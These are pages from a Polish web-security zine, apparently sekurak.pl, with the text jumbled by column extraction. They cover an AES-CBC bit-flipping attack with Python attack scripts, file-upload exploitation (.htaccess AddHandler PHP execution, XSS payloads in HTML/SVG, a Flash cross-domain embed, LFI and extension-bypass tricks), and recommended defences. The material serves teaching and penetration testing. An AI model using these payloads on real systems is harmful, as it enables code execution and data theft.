przykładzie posłużymy się najbardziej popularnym – 16-bajtowym. Do szyfrogra- 4. Wynikowy szyfrogram wygląda następująco: Sheet Import (RPO/PRSSI)
mu dołączany jest IV czyli Initialization Vector, generowany podczas szyfrowania. To
właśnie dzięki niemu szyfrowanie tych samych danych generuje różne szyfrogramy [ Initialization Vector ] [Blok 1] Mechanizm HTTP Public Key
– tak długo, jak Initialization Vector (IV) jest różny. Pinning
Nasz szyfrogram wygląda więc w taki sposób: W tym konkretnym przypadku, deszyfrowanie będzie wyglądać tak:
1. Szyfrogram zostanie rozbity na dwa bloki 16 bajtowe – IV oraz Blok 1,
[ Initialization Vector ] [ Blok 1 ] [ Blok 2] [Blok 3] 2. Blok 1 przejdzie przez algorytm deszyfrowania przy użyciu klucza szyfrującego,
3. Wynikowy blok zostanie poddany xorowaniu z wartością IV i otrzymamy tekst jawny.

36 f  PODZIEL SIĘ ZINEM


t f
Marcin Bury  Czym jest Bit-Flipping

sekurak.pl /  offline 
BIT-FLIPPING – PRZYKŁADOWY ATAK Załóżmy więc, że tekstowi jawnemu „Sekurak Party\x03\x03\x03” odpowiada
Do przeprowadzenia ataku Bit-Flipping wymagana jest wiedza dotycząca tek- szyfrogram (szyfrogram został zakodowany w formie heksadecymalnej, na czerwo-
stu jawnego konkretnego szyfrogramu. Mamy więc (opisany poniżej) prosty skrypt, no zaznaczono natomiast Initialization Vector):
który potraktujemy jak czarną skrzynkę. Należy pamiętać o niedekodowaniu klu- Mechanizm Service Workers
cza, chcemy przecież przeprowadzić atak bez jego znajomości. 6ca79ad332213699f3f0bf8b50bb3a19f8c17dcd69a95b8dc3bf92bc88d024d3
Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
strażnik bezpieczeństwa aplikacji
webowej
Rysunek 4. Działanie skryptu.

Ochrona podatnych aplikacji


Wiedząc, że ostatni bajt to „\x03” i że jest on wynikiem operacji XOR „\x19” (ostatni webowych za pomocą wirtualnych
bajt IV) z jakimś X (oczywiście można w prosty sposób wyliczyć jego wartość, choć poprawek w ModSecurity
nie ma takiej potrzeby):
Czym jest atak Padding Oracle
0x19 ^ X = 0x03

Aby jako wynik otrzymać 0x1, musimy poddać procesowi xorowania w pierwszej Czym jest Bit-Flipping
Rysunek 3. Deszyfrowanie pojedynczego bloku szyfrogramu. kolejności obie strony równania przez wartość 0x03:
Bezpieczeństwo aplikacji
0x19 ^ X ^ 0x03 = 0x00
Przyjrzyjmy się zatem przykładowemu skryptowi podatnemu na atak Bit-Flipping. webowych: podatności
w mechanizmach uploadu
A następnie przez wartość 0x1:
Listing 1. Skrypt podatny na atak Bit-Flipping.
0x19 ^ X ^ 0x03 ^ 0x01 = 0x01 Ukryte katalogi i pliki jako
#!/usr/bin/env python źródło informacji o aplikacjach
Jak widać, cały algorytm sprowadza się do wykonania operacji XOR ostatniego baj- internetowych
import sys
from base64 import b64decode tu IV – w pierwszej kolejności przez ostatni bajt tekstu jawnego następnego bloku,
from Crypto.Cipher import AES a następnie przez wartość, na jaką chcemy docelowy bajt zmienić. Czym jest i jak wykorzystać
def decrypt(cipher, key): Ostatni bajt IV musi więc zostać zamieniony na wartość: podatność Relative Path
IV = cipher[:16] Overwrite/Path–Relative Style
cipher = cipher[16:] 0x19 ^ 0x03 ^ 0x01 = 0x1b
Sheet Import (RPO/PRSSI)
aes = AES.new(key, AES.MODE_CBC, IV=IV)
plain = aes.decrypt(cipher) „6ca79ad332213699f3f0bf8b50bb3a1bf8c17dcd69a95b8dc3bf92bc88d024d3”
return plain Mechanizm HTTP Public Key
key = b64decode("WWVsbG93IFN1Ym1hcmluZQ==") Tak utworzony szyfrogram przekazujemy do naszego skryptu czarnej skrzynki: Pinning
plain = decrypt(sys.argv[1].decode('hex'), key)
print repr(plain)

Skrypt przyjmuje jako argument szyfrogram zakodowany w postaci HEX-a, następ-


nie przeprowadza proces deszyfracji i wyświetla tekst jawny. Rysunek 5. Działanie skryptu.

37 f  PODZIEL SIĘ ZINEM


t f
Marcin Bury  Czym jest Bit-Flipping

sekurak.pl /  offline 
Tekst jawny rzeczywiście został zmodyfikowany bez znajomości klucza szyfrującego. ZDOBYWANIE INFORMACJI DOTYCZĄCYCH TEKSTU JAWNEGO
Proces jest na tyle prosty, że możemy stworzyć skrypt, który wygeneruje nowy Jak wspominałem wcześniej, próbujemy zdobyć wiedzę dotyczącą tekstu jawne-
Initialization Vector pozwalający zmienić wartość całego tekstu jawnego. go dla konkretnego szyfrogramu. Te informacje możemy zdobyć na trzy sposoby:
Aby zamienić ciąg „Sekurak Party\x03\x03\x03” na ciąg „Sekurak Hacking\x01” 1. przeprowadzając atak padding oracle, Mechanizm Service Workers
należy dokonać operacji XOR na odpowiednich bajtach bloku poprzedzającego 2. korzystając z pewnej znajomości formatu danych,
– w tym wypadku IV. 3. modyfikując bajty w szyfrogramie i obserwując wyjścia aplikacji. Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
Listing 2. Skrypt przeprowadzający atak Bit-Flipping. strażnik bezpieczeństwa aplikacji
Pierwszy sposób został świetnie opisany przez Michała Bentkowskiego, dlatego od-
webowej
def xor(a, b): syłam do jego artykułu. Druga metoda to wiedza o tym, jaki format mogą przyjąć
res = "" dane. Takim przykładem może być format JSON, który składa się z klamr, cudzysło-
for i in range(0, len(a)): Ochrona podatnych aplikacji
res += chr(ord(a[i]) ^ ord(b[i])) wów oraz znaków dwukropka. webowych za pomocą wirtualnych
return res
Skupmy się więc na sposobie trzecim, czyli modyfikacji bajtów i obserwacji wyj- poprawek w ModSecurity
cipher = "6ca79ad332213699f3f0bf8b50bb3a19f8c17dcd69a95b8dc3bf92bc88d024d3".
decode('hex') ścia aplikacji.
IV = cipher[:16] Czym jest atak Padding Oracle
old = "Sekurak Party\x03\x03\x03"
new = "Sekurak Hacking\x01" PRAKTYCZNY ATAK
Przeprowadzimy bardziej praktyczny atak, którego celem będzie pozyskanie po- Czym jest Bit-Flipping
# nowe IV
newiv = xor(IV, xor(new, old)) ufnych danych.
Nieco zmodyfikowany skrypt czarnej skrzynki: Bezpieczeństwo aplikacji
print "Nowe IV: %s" % newiv.encode('hex') webowych: podatności
print "Nowy szyfrogram: %s" % (IV + cipher[16:]).encode('hex')
Listing 3. Skrypt wczytujący plik na podstawie zaszyfrowanego ciągu. w mechanizmach uploadu
Wynik działania skryptu: #!/usr/bin/env python
Ukryte katalogi i pliki jako
import sys źródło informacji o aplikacjach
import json internetowych
from base64 import b64decode
from Crypto.Cipher import AES Czym jest i jak wykorzystać
Rysunek 6. Atak Bit-Flipping.
podatność Relative Path
def decrypt(cipher, key):
IV = cipher[:16] Overwrite/Path–Relative Style
Nowo powstały szyfrogram możemy załadować do algorytmu deszyfrującego, co cipher = cipher[16:] Sheet Import (RPO/PRSSI)
zwróci nam wartość „Sekurak Hacking\x01”. aes = AES.new(key, AES.MODE_CBC, IV=IV)
plain = aes.decrypt(cipher)
Mechanizm HTTP Public Key
return plain
Pinning
key = b64decode("WWVsbG93IFN1Ym1hcmluZQ==")
plain = decrypt(sys.argv[1].decode('hex'), key)
Rysunek 7. Zmodyfikowany tekst jawny.
try:
res = json.loads(plain)
print 'Reading %s...' % res['f']

38 f  PODZIEL SIĘ ZINEM


t f
Marcin Bury  Czym jest Bit-Flipping

sekurak.pl /  offline 
f = open(res['f'], 'r')
print '------------------\n%s\n------------------' % f.read()
f.close()
except:
sys.exit(1) Rysunek 11. Modyfikacja kolejnego bajtu szyfrogramu. Mechanizm Service Workers

Uruchamiamy skrypt, przekazując jako argument następujący ciąg: Możemy więc wnioskować, że modyfikując zaznaczone w szyfrogramie bajty, jeste- Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
śmy w stanie zmienić całkowicie wartość test.txt. Na czerwono został zaznaczony
strażnik bezpieczeństwa aplikacji
“0ec9a5b6a8304467899fda07d9eb15b741b186a4d266bb671927ae1e609389bd” fragment ciągu, pod którym kryje się zaszyfrowany tekst „test.txt”:
webowej

0ec9a5b6a8304467899fda07d9eb15b741b186a4d266bb671927ae1e609389bd Ochrona podatnych aplikacji


webowych za pomocą wirtualnych
Aby zmienić wartość test.txt na flag.txt musimy wykonać operację XOR: poprawek w ModSecurity
Rysunek 8. Odczytanie pliku „test.txt”. 4467899fda07d9eb ^ hex(“test.txt”) ^ hex(“flag.txt”) = 566e9b8cda07d9eb
Czym jest atak Padding Oracle
Wyjście aplikacji wskazuje, że czytana jest treść pliku “test.txt”. W efekcie otrzymujemy szyfrogram:
Co się jednak stanie, jeżeli zaczniemy “flippować” bity w bloku IV dla konkretnych Czym jest Bit-Flipping
bajtów, zaczynając od końca? 0ec9a5b6a830566e9b8cda07d9eb15b741b186a4d266bb671927ae1e609389bd
Szyfrogram: Bezpieczeństwo aplikacji
Po załadowaniu szyfrogramu do atakowanego skryptu zwracana jest treść pliku webowych: podatności
w mechanizmach uploadu
0ec9a5b6a8304467899fda07d9eb15b841b186a4d266bb671927ae1e609389bd „flag.txt”:
Ukryte katalogi i pliki jako
źródło informacji o aplikacjach
Rysunek 9. Modyfikacja kolejnego bajtu szyfrogramu. internetowych

Szyfrogram: Czym jest i jak wykorzystać


Rysunek 12. Poufne informacje pozyskane za pomocą ataku Bit-Flipping. podatność Relative Path
0ec9a5b6a8304467899fda07d9eb16b741b186a4d266bb671927ae1e609389bd Overwrite/Path–Relative Style
Bez znajomości klucza udało się zmienić tekst jawny z „test.txt” na „flag.txt” i prze- Sheet Import (RPO/PRSSI)
czytać sekretne dane.
Mechanizm HTTP Public Key
Rysunek 10. Modyfikacja kolejnego bajtu szyfrogramu.
OGRANICZENIA ATAKU BIT FLIPPING Pinning
Atak Bit-Flipping ma spore ograniczenia. Poprzednie przykłady były stosunkowo
Szyfrogram: proste i składały się tylko z dwóch elementów – IV oraz pierwszego bloku.
Co stanie się w przypadku, gdy zaszyfrowany ciąg jest znacznie dłuższy i tworzy
0ec9a5b6a8304467899fda07d9ec15b741b186a4d266bb671927ae1e609389bd szyfrogram składający się z kilku bloków?

39 f  PODZIEL SIĘ ZINEM


t f
Marcin Bury  Czym jest Bit-Flipping

sekurak.pl /  offline 
Ciąg zostanie rozbity na cztery 16-bajtowe bloki (IV + 3 bloki)
[ IV ] [{"login":"AAAAAA] [BBBBBBBBBBBBBBBB] [","admin":false}]

Mechanizm Service Workers


Dzięki temu, możemy modyfikować blok [BBBBBBBBBBBBBBBB], nie psując tym
samym formatu JSON – oczywiście jeżeli nie pojawią się tam znaki, które w strin- Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
gu znaleźć się nie powinny. Zainteresowanych odsyłam do standardu opisującego
strażnik bezpieczeństwa aplikacji
format JSON.
webowej

Rysunek 13. Deszyfrowanie kolejnych bloków szyfrogramu. PODSUMOWANIE – ZALECANE METODY OBRONY Ochrona podatnych aplikacji
Zalecaną metodą zabezpieczenia przed atakiem Bit-Flipping jest dbanie o inte- webowych za pomocą wirtualnych
Jeżeli zaczniemy flippować bity w bloku 2, tak aby zmienić tekst jawny w bloku 3 gralność szyfrogramu przez dodanie klucza HMAC i jego weryfikację przed deszy- poprawek w ModSecurity
(zaznaczone na czerwono), to szyfrogram w bloku 2 po deszyfrowaniu utworzy cał- fracją danych.
kowicie inny tekst jawny w bloku 2. Takie zachowanie może prowadzić do błędu Należy przyjąć zasadę, że nigdy nie powinno się wykonywać operacji kryptogra- Czym jest atak Padding Oracle
w przypadku, gdy w bloku 2 znajdowały się istotne dane – jak chociażby nazwy ficznych na nieuwierzytelnionych danych.
zmiennych czy zmiana formatu danych, np. “zepsucie JSON-a”. Czym jest Bit-Flipping

SPOSÓB OBEJŚCIA OGRANICZENIA Bezpieczeństwo aplikacji


Jeżeli mamy możliwość modyfikacji danych, które są szyfrowane (np. username webowych: podatności
Marcin Bury. Realizuje testy penetracyjne i audyty bezpieczeństwa w firmie w mechanizmach uploadu
użytkownika), możemy spróbować ustawić ich długość oraz lokalizacje w taki spo- Securitum. Posiadacz certyfikatów CEH, OSCE i OSCP.
sób, aby “zepsuty blok” nadpisywał ich wartość.
Ukryte katalogi i pliki jako
Czyli, jeżeli szyfrowane dane wyglądają w taki sposób: źródło informacji o aplikacjach
{“login”:”test”,“admin”:false}\x02\x02 internetowych

utworzony szyfrogram da 2 bloki, które zostaną poprzedzone przez IV. Czym jest i jak wykorzystać
[ IV ] [{"login":"test",] ["admin":false}\x02\x02]
podatność Relative Path
Overwrite/Path–Relative Style
Flippowanie bitów w bloku [{"login":"test",] spowoduje jego deformacje i w efekcie Sheet Import (RPO/PRSSI)
zepsucie formatu JSON. Można jednak utworzyć konto z na tyle długim loginem, że
jego część będzie stanowiła modyfikowany blok. Mechanizm HTTP Public Key
Rejestrujemy więc konto z loginem “AAAAAABBBBBBBBBBBBBBBB”, co spowo- Pinning
duje że aplikacja zaszyfruje taki ciąg:
{“login”:”AAAAAABBBBBBBBBBBBBBBB”,“admin”:false}

40 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski
 Początkujący  |  Średni  |  Zaawansowany  Defensywa  |  Ofensywa 

sekurak.pl /  offline 
Bezpieczeństwo aplikacji webowych: 2. Plik w webroocie, ale bez możliwości wykonywania

podatności w mechanizmach uploadu


Istnieje możliwość zabezpieczenia się przed ww. atakiem, uniemożliwiając
wykonywanie plików .php w pojedynczym katalogu. Można to zrobić dyrektywą
php_flag engine off w pliku .htaccess lub jednym z plików konfiguracyjnych Mechanizm Service Workers
Upload plików zalicza się do najczęściej występujących funkcjonalno-
Apache. Dzięki temu po odwołaniu się bezpośrednio do pliku http://www.exam-
ści w aplikacjach webowych. Zazwyczaj wiąże się z wgrywaniem na ser- Wszystko o CSP 2.0 – Content
wer obrazków bądź dokumentów. Jest zarazem miejscem, które bardzo ple.com/uploads/hack.php zostanie wyświetlone jego źródło, nie zostanie jednak
Security Policy jako uniwersalny
chętnie badają pentesterzy, ze względu na liczne błędy bezpieczeństwa wykonany kod. Skoro jednak atakujący może wysyłać pliki o dowolnych nazwach,
strażnik bezpieczeństwa aplikacji
w implementacjach. W tym artykule przedstawimy najczęściej wystę- może wysłać plik .htaccess o następującej zawartości:
webowej
pujące błędy oraz pokażemy, w jaki sposób mogą one zostać wykorzysta- 1 AddHandler application/x-httpd-php .jpeg
ne. Omówimy także sposoby obrony. Ochrona podatnych aplikacji
webowych za pomocą wirtualnych
Spowoduje to, że pliki o rozszerzeniu .jpeg będą interpretowane przez parser PHP, poprawek w ModSecurity
DWA SPOJRZENIA tym samym obchodząc zabezpieczenie. Dopuszczanie plików o dowolnych rozsze-
Na wszystkie omawiane w tym artykule implementacje będziemy spoglądać rzeniach może również być przydatne w przypadku wystąpienia błędu LFI (Local File Czym jest atak Padding Oracle
z dwóch stron: Inclusion), jeśli w innym miejscu aplikacji pojawi się kod podobny do poniższego:
»» server-side: jak błędy w danej implementacji wykorzystać od strony serwerowej, Czym jest Bit-Flipping
1 <?php
a mianowicie jak doprowadzić do wykonania dowolnego kodu (RCE – remote 2 include 'includes/'.$_GET['module'].'.php';
3 ?> Bezpieczeństwo aplikacji
code execution) po stronie serwera,
»» client-side: w przypadku ataków po stronie klienta będzie chodziło albo o wy- webowych: podatności
w mechanizmach uploadu
konanie XSS-a, albo o możliwość wykradnięcia danych (takich jak tokeny CSRF) 3. Pliki poza webrootem
z poziomu innej domeny. Rozwiązanie, w którym uploadowane pliki znajdują się poza głównym drzewem
Ukryte katalogi i pliki jako
katalogów dostępnym bezpośrednio przez URL-e. Na przykład webroot aplikacji źródło informacji o aplikacjach
DOPUSZCZANIE WSZYSTKICH TYPÓW PLIKÓW może znajdować się w /var/www, zaś uploady w /var/uploads. W tym przypadku internetowych
Najbardziej podstawowa implementacja, która stale pojawia się w aplikacjach nie zadziała już sztuczka z .htaccess, jednak nadal plik może być przydatny w przy-
webowych. Zakładamy, że aplikacja zapisuje na serwerze plik o takim samym roz- padku błędu LFI. Czym jest i jak wykorzystać
szerzeniu, jakie miał oryginalny plik, a ponadto nie jest sprawdzana zawartość pliku. podatność Relative Path
4. Pliki o zmienionych nazwach Overwrite/Path–Relative Style
Spojrzenie server-side Czasem programiści decydują się zapisywać plik o takim samym rozszerzeniu Sheet Import (RPO/PRSSI)
Rozważmy kilka możliwych rozwiązań zapisywania pliku po stronie serwera. jak zostało wysłane, jednak zmieniana jest nazwa pliku. Czyli np. zamiast hack.php
na serwerze mógłby zostać zapisany plik 4093b2546a7437d1a2ca3f9b7ac662e3. Mechanizm HTTP Public Key
1. Plik dostępny bezpośrednio przez URL (plik znajdujący się w webroocie) php. Jeżeli nazwa nowego pliku jest później gdzieś bezpośrednio widoczna, to taki Pinning
Najprostszy możliwy wariant: użytkownik wgrywa plik o nazwie hack.php, wariant nie różni się od omówionych wcześniej. Jednak nawet jeśli nazwa nie jest
który potem jest dostępny pod adresem np. http://www.example.com/uploads/ bezpośrednio znana, w pewnych przypadkach ataki mogą być możliwe:
hack.php. Bezpośrednie odwołanie się do tego URL-a prowadzi prosto do RCE »» Nazwa pliku tworzona jest w sposób przewidywalny, np. jako md5(time()). Na pod-
w aplikacji. stawie nagłówka Date z odpowiedzi HTTP można odgadnąć poprawną nazwę pliku.

41 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Bezpieczeństwo aplikacji webowych…

sekurak.pl /  offline 
»» Inne miejsce w aplikacji pozwala na listing zawartości katalogów (na przykład Spojrzenie server-side
w aplikacjach javowych taką możliwość daje atak XXE). 1. Zbyt uboga czarna lista
»» Nowa część nazwy pliku jest doczepiana do oryginalnej, tj. zamiast hack.php Autorzy aplikacji nie zawsze są świadomi, które konkretnie rozszerzenia skutkują
powstaje plik hack_d02eae87c92ec51173c3659216d87518.php. W takim przy- wykonaniem kodu. Jeśli na czarnej liście znajduje się tylko rozszerzenie .php, być Mechanizm Service Workers
padku zawsze warto spróbować ataków z bajtem zerowym w nazwie pliku. Na- może zabezpieczenie będzie dało się obejść z użyciem .php5. W przypadku serwera
wet w nowych wersjach PHP atak tego typu może zadziałać; jeden z błędów Microsoft IIS – czarną listę składającą się z rozszerzenia .aspx, omijamy przez .asp itp. Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
null-byte (w funkcji move_uploaded_file) poprawiono dopiero w marcu tego roku.
strażnik bezpieczeństwa aplikacji
2. Plik o wielu rozszerzeniach
webowej
Spojrzenie client-side Problem opisywany w tym punkcie jest specyficzny dla serwera Apache. Za-
Jeżeli uploadowany plik jest dostępny bezpośrednio przez URL, istnieje szereg sadniczo istnieją w nim dwa sposoby na zdefiniowanie obsługi plików .php przez Ochrona podatnych aplikacji
rozszerzeń, których wysłanie spowoduje wykonanie XSS-a. Najprościej wysłać po parser tego języka: dyrektywy SetHandler oraz AddHandler. Przykładowy wpis webowych za pomocą wirtualnych
prostu plik .html o treści: w konfiguracji z użyciem tej drugiej: poprawek w ModSecurity
1 <script>alert(1)</script> 1 AddHandler application/x-httpd-php .php
Czym jest atak Padding Oracle

XSS-y są możliwe jeszcze przez wiele rozszerzeń plików, które przeglądarka inter- AddHandler ma jednak swoje specyficzne zachowanie, o którym wspomina Czym jest Bit-Flipping
pretuje jako XML, np. .xml, .xsl, .rss, .svg, .xslt i inne. Payload, który powinien zadzia- dokumentacja:
łać dla dowolnego pliku opierającego się o XML, to: Bezpieczeństwo aplikacji
Filenames may have multiple extensions and the extension argument webowych: podatności
1 <?xml version="1.0" encoding="UTF-8"?> will be compared against each of them. w mechanizmach uploadu
2 <html xmlns="http://www.w3.org/1999/xhtml">
3 <script>alert(1)</script>
4 </html> Ukryte katalogi i pliki jako
Oznacza to, że w przypadku wysłania do serwera pliku test.php.jpg, gdy na serwe- źródło informacji o aplikacjach
Odsyłam również do artykułu poświęconego w całości XSS-om przez SVG. rze nie zdefiniowano żadnego handlera dla rozszerzeń .jpg (co jest bardzo prawdo- internetowych
podobne), taki plik zostanie wykonany przez parser PHP.
Co ciekawe, dyrektywa AddHandler była używana w domyślnej konfiguracji Czym jest i jak wykorzystać
Kolejnym sposobem na wykonanie XSS-ów są pliki Flasha (.swf). Flash, poprzez klasę w dystrybucjach Red Hat Enterprise Linux 6/CentOS 6 oraz we wcześniejszych wer- podatność Relative Path
ExternalInterface, może odwoływać się do silnika JS w przeglądarce. Na GitHu- sjach. Dopiero w wersji siódmej, wydanej w połowie zeszłego roku, zmieniono ją na Overwrite/Path–Relative Style
bie można znaleźć przykładową implementację wykonywania XSSów przez .swf. SetHandler. Na wszelki wypadek sprawdźcie swoje konfiguracje :). Sheet Import (RPO/PRSSI)

CZARNA LISTA ROZSZERZEŃ 3. Niewrażliwość na wielkość liter Mechanizm HTTP Public Key
Standardową odpowiedzią na powyższe problemy jest wprowadzenie czarnej Problem dotyczy w szczególności aplikacji działających na Windowsie, gdzie Pinning
listy rozszerzeń, innymi słowy: jawne podanie rozszerzeń, które nie są dopuszczal- wielkość liter w nazwach pliku nie jest brana pod uwagę. Możemy zatem natrafić
ne. W przypadku wysłania do serwera pliku o rozszerzeniu z tej listy, odpowiada on na implementację, w której na czarnej liście znajdzie się tylko rozszerzenie .aspx,
komunikatem informującym o niepoprawnym typie. zaś plik o rozszerzeniu .ASPX zostanie już przepuszczony, co w efekcie, doprowadzi
Jakie problemy mogą wiązać się z takim rozwiązaniem? do RCE.

42 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Bezpieczeństwo aplikacji webowych…

sekurak.pl /  offline 
Spojrzenie client-side Spojrzenie client-side
Zazwyczaj w przypadku stosowania czarnej listy rozszerzeń twórcy aplikacji nie 1. Niewłaściwa biała lista
rozważają problemu ataków client-side. Z dużym prawdopodobieństwem będzie Biała lista dopuszczalnych rozszerzeń obrazków może zawierać .svg, który de
można wgrać plik o jednym z rozszerzeń wspomnianych wcześniej, tj. .html, .htm, facto jest zwykłym plikiem XML, parsowanym przez przeglądarkę. Wówczas można Mechanizm Service Workers
.xml, .swf itp. użyć kodu wcześniej wspominanego w tym artykule i wykonać dzięki temu XSS-a.
Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
BIAŁA LISTA ROZSZERZEŃ 2. Zuploadowanie pliku Flasha
strażnik bezpieczeństwa aplikacji
Podejście, w którym w aplikacji jawnie podano białą listę rozszerzeń, a więc li- Pliki .swf umożliwiają pewien ciekawy, specyficzny atak w przypadku, gdy aplika- webowej
stę rozszerzeń, których upload jest dopuszczalny. Dla obrazków, biała lista mo- cja weryfikuje rozszerzenia, jednak nie sprawdza zawartości pliku. We Flashu obowią-
głaby przykładowo składać się z rozszerzeń: ["jpg", "png", "jpeg", "gif", zują trochę inne zasady Same Origin Policy niż w przypadku samego JavaScriptu. Jeśli Ochrona podatnych aplikacji
"tiff"]. mamy przykładowo plik .swf zahostowany na domenie www.google.com, wówczas webowych za pomocą wirtualnych
niezależnie od tego, z jakiej domeny jest on wywoływany, może pobierać dowolne poprawek w ModSecurity
Spojrzenie server-side zasoby (metodami POST i GET) z domeny www.google.com. Wcześniej wspomina-
1. LFI (Local File Inclusion) nym skryptem xss.swf można potwierdzić, że taki atak rzeczywiście się powiedzie. Czym jest atak Padding Oracle
W innym miejscu aplikacji może wystąpić błąd LFI. Co więcej, nawet jeśli plik ma rozszerzenie .jpg, można przekonać przeglądarkę,
aby interpretowała go jako plik Flasha. Załóżmy, że na domenie victim.com udało Czym jest Bit-Flipping
1 <?php
2 include 'includes/'.$_GET['template']; się zahostować plik xss.png, którym w rzeczywistości jest xss.swf. Wówczas na do-
menie kontrolowanej przez atakującego należy dodać kod: Bezpieczeństwo aplikacji
webowych: podatności
1 <embedallowscriptaccess="always" w mechanizmach uploadu
Ponieważ aplikacja nie sprawdza zawartości plików, a tylko ich rozszerzenie, src="http://www.victim.com/uploads/xss.png?a=get&c=
http://www.victim.com/inny_zasob" type="application/x-shockwave-flash">
zuploadowany plik „obrazka” będzie mógł zostać wykorzystany do wykonania
Ukryte katalogi i pliki jako
kodu PHP. źródło informacji o aplikacjach
Jeśli wszystko się powiedzie, powinniśmy otrzymać odpowiedź „corss domain internetowych
2. Weryfikacja zawartości pliku request ok.” (literówka zamierzona, taka sama jest w kodzie skryptu).
Skoro aplikacja oczekuje obrazka, można dodać w niej kod weryfikujący, czy wy- Czym jest i jak wykorzystać
słany plik rzeczywiście nim jest, wykorzystując do tego jedną z bibliotek. Zasadni- METODY OCHRONY podatność Relative Path
czo możemy tutaj wyróżnić dwa sposoby weryfikacji: Dotychczas skupiliśmy się wyłącznie na różnych metodach realizacji uploadu Overwrite/Path–Relative Style
»» Sprawdzenie pliku bez modyfikacji jego zawartości. Można wówczas umieścić w aplikacjach webowych. W jaki sposób jednak powinniśmy się bronić? Sheet Import (RPO/PRSSI)
kod PHP w tagach EXIF lub (w przypadku niektórych formatów) dopisać go po Wszystkie ataki (czy to server-side, czy client-side) związane były z tym, że po-
prostu na końcu pliku. brane na serwer pliki znajdują się na tym samym hoście oraz w tej samej domenie, Mechanizm HTTP Public Key
»» Przetworzenie obrazka i zapisanie pliku o nowej zawartości. Istnieją jednak znane co aplikacja webowa. Jeśli tylko jest to możliwe, należy wydzielić osobną domenę Pinning
ataki, umożliwiające umieszczenie kodu PHP po przetworzeniu pliku PNG. Nale- (np. jeśli aplikacja działa w domenie www.example.com, to pliki mogą być hostowa-
ży też mieć na uwadze, że mogą występować błędy w poszczególnych imple- ne w www.example-files.com), jak również osobną instancję serwera wyłącznie do
mentacjach (np. znany jest błąd w funkcjach imagefromgif oraz imagefromjpeg uploadów. Dzięki temu zniwelowane zostanie ryzyko związane z wykonywaniem
wPHP, pozwalający zachować część złośliwego kodu PHP). kodu, jak również wszelkie ataki typu XSS będą odbywały się na osobnej domenie.

43 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Bezpieczeństwo aplikacji webowych…

sekurak.pl /  offline 
Nie zawsze jednak mamy środki i możliwości, by wprowadzić takie rozwiązanie.
Wówczas należy pamiętać o kilku podstawowych regułach:
»» Pliki zuploadowane przez użytkowników powinny być zapisywane poza
webrootem. Mechanizm Service Workers
»» Pliki nie powinny być zapisywane pod taką samą nazwą pliku, jaką wysłał użytkow-
nik. Najlepiej użyć losowego hasza. Oryginalna nazwa pliku może być przechowy- Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
wana w bazie danych. Alternatywnie cały plik może być przechowywany w bazie.
strażnik bezpieczeństwa aplikacji
»» Do odpowiedzi HTTP z pobieraniem plików wgranych wcześniej należy dodać webowej
nagłówki:
»» Content-Disposition: attachment – dzięki któremu przeglądarka wy- Ochrona podatnych aplikacji
świetli monit z pobieraniem pliku, webowych za pomocą wirtualnych
»» X-Content-Type-Options: nosniff – dzięki któremu zostaną uniemoż- poprawek w ModSecurity
liwione pewne ataki związane ze zgadywaniem typu dokumentu przez prze-
glądarki (dotyczy to w szczególności Internet Explorera). Czym jest atak Padding Oracle

Czym jest Bit-Flipping

Michał Bentkowski. Realizuje testy penetracyjne oraz audyty bezpieczeństwa


Bezpieczeństwo aplikacji
w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie (i z sukcesem)
uczestniczy w znanych programach bug bounty. webowych: podatności
w mechanizmach uploadu

Ukryte katalogi i pliki jako


źródło informacji o aplikacjach
internetowych

Czym jest i jak wykorzystać


podatność Relative Path
Overwrite/Path–Relative Style
Sheet Import (RPO/PRSSI)

Mechanizm HTTP Public Key


Pinning

44 f  PODZIEL SIĘ ZINEM


t f
Rafał 'bl4de' Janicki  Ukryte katalogi i pliki jako źródło informacji…
 Początkujący  |  Średni  |  Zaawansowany  Defensywa  |  Ofensywa 

sekurak.pl /  offline 
Ukryte katalogi i pliki jako źródło
informacji o aplikacjach internetowych
Mechanizm Service Workers
Ukryte katalogi oraz pliki pozostawione przez nieuwagę na serwerze
WWW, mogą stać się nieocenionym źródłem informacji podczas testu Wszystko o CSP 2.0 – Content
penetracyjnego. W skrajnych sytuacjach, takich jak pozostawiony kata- Security Policy jako uniwersalny
log .git lub .svn, pozwalają na dostęp do kodu źródłowego aplikacji, co strażnik bezpieczeństwa aplikacji
w rezultacie skutkuje całkowitą kompromitacją i uzyskaniem nieauto- webowej
ryzowanego dostępu oraz możliwością przeprowadzenia statycznej ana-
lizy kodu źródłowego i odkrycia wszystkich luk. Ochrona podatnych aplikacji
webowych za pomocą wirtualnych
poprawek w ModSecurity
Wbrew pozorom, bardzo często można natknąć się na tego rodzaju zasoby. Poniższy
artykuł na przykładzie kilku najpopularniejszych katalogów prezentuje praktyczne Czym jest atak Padding Oracle
przykłady wykorzystania informacji w nich zawartych.
Czym jest Bit-Flipping
SYSTEMY KONTROLI WERSJI
Git (https://git-scm.com/) to jeden z powszechnie wykorzystywanych rozproszo- Bezpieczeństwo aplikacji
nych systemów kontroli wersji. Jego popularność dodatkowo zwiększają serwisy ta- webowych: podatności
w mechanizmach uploadu
kie jak GitHub czy Bitbucket.
Ukryte katalogi i pliki jako
Podstawowe informacje o obiektach Gita źródło informacji o aplikacjach
Wszystkie informacje na temat projektu pod kontrolą Gita znajdują się w folde- internetowych
rze .git, w głównym katalogu. Jego przykładową strukturę przedstawia rysunek 1.
Przyjrzyjmy się zawartym w nim informacjom z punktu widzenia crackera. W fol- Rysunek 1. Zawartość przykładowego katalogu .git.
Czym jest i jak wykorzystać
derze .git/objects znajdują się pliki zawierające wszystkie operacje dokonywane na podatność Relative Path
repozytorium, a także zawartość wszystkich plików w takiej postaci, w jakiej znaj- Jeżeli programista pozostawił na serwerze folder .git, nic nie stoi na przeszko- Overwrite/Path–Relative Style
dowały się w momencie dokonywania jakiejkolwiek zmiany, np. operacji commit. dzie, aby odczytać zawartość dowolnego pliku, nawet jeśli nie mamy uprawnień do Sheet Import (RPO/PRSSI)
